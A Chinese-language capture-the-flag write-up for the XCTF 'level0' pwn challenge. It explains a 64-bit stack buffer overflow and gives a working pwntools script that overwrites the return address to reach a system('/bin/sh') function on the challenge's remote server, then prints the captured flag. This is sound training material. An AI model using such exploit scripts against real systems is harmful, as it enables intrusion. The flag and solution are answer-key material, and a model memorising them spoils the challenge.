收获

  • 经典栈溢出漏洞

  • 64 位修改函数跳转地址

  • Glibc 版本引起的 64 位程序的堆栈平衡问题


【攻防世界】level0


思路

查看文件信息:

攻防世界-level0 1.png

尝试执行文件:

攻防世界-level0 2.png

在 IDA 中分析:

攻防世界-level0 3.png

首先通过 write() 输出 Hello, World\n,然后执行 vulnerable_function(),跟进:

攻防世界-level0 4.png

通过 read() 输入 0x200 个字符

在 IDA 左侧发现一个 callsystem() 函数

攻防世界-level0 5.png

用来执行 system("/bin/sh"),而通过正常的 main() 函数是无法执行这个 callsystem() 函数的,因此本题的目的是要想办法修改函数的返回值转而执行 callsystem() 函数

查看输入的 buf 在栈中的位置:

攻防世界-level0 6.png

这里的 r 就是 ret,代表函数的返回地点
因此通过输入 buf 的数据覆盖来修改 rcallsystem() 函数的地址,就可以使程序转而执行 callsystem() 函数

攻防世界-level0 7.png


脚本

from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')   # 打印调试信息
content = 0   # 本地Pwn通之后,将content改成0,Pwn远程端口

elf = ELF("./level0")   # 生成对象elf
callsystem_addr = elf.symbols["callsystem"]     # 获取callsystem函数的地址,本题为:0x0400596,在ida中可以看到函数的地址

def main():
    if content == 1:
        io = process("./level0")   # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 52125)   # 题目的远程端口

    payload = b'a' * (0x80 - 0x00 + 0x08) + p64(callsystem_addr)    # 这里不用callsystem_addr直接用0x0400596也是可以的

    io.recvuntil("Hello, World\n")
    io.sendline(payload)

    io.interactive()

main()

注意:
这个脚本在远程可以打通,但是 Ubuntu 22.04 本地不可以

远程使用 payload:
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(callsystem_addr)
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(ret_addr) + p64(callsystem_addr)
两者之一都可以打通

但是在本地 Ubuntu 22.04 中,必须使用:
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(ret_addr) + p64(callsystem_addr)
需要加上 p64(ret_addr) 堆栈平衡

详见本站《PWN中Glibc引起的64位程序的堆栈平衡》一文


结果

cyberpeace{4fe5a9ae3ea3933da95ede70cc81c13a}

攻防世界-level0 8.png

只出现了 [*] Switching to interactive mode,而没有 [*] Got EOF while reading in interactive,说明已经 PWN 通,得到 flag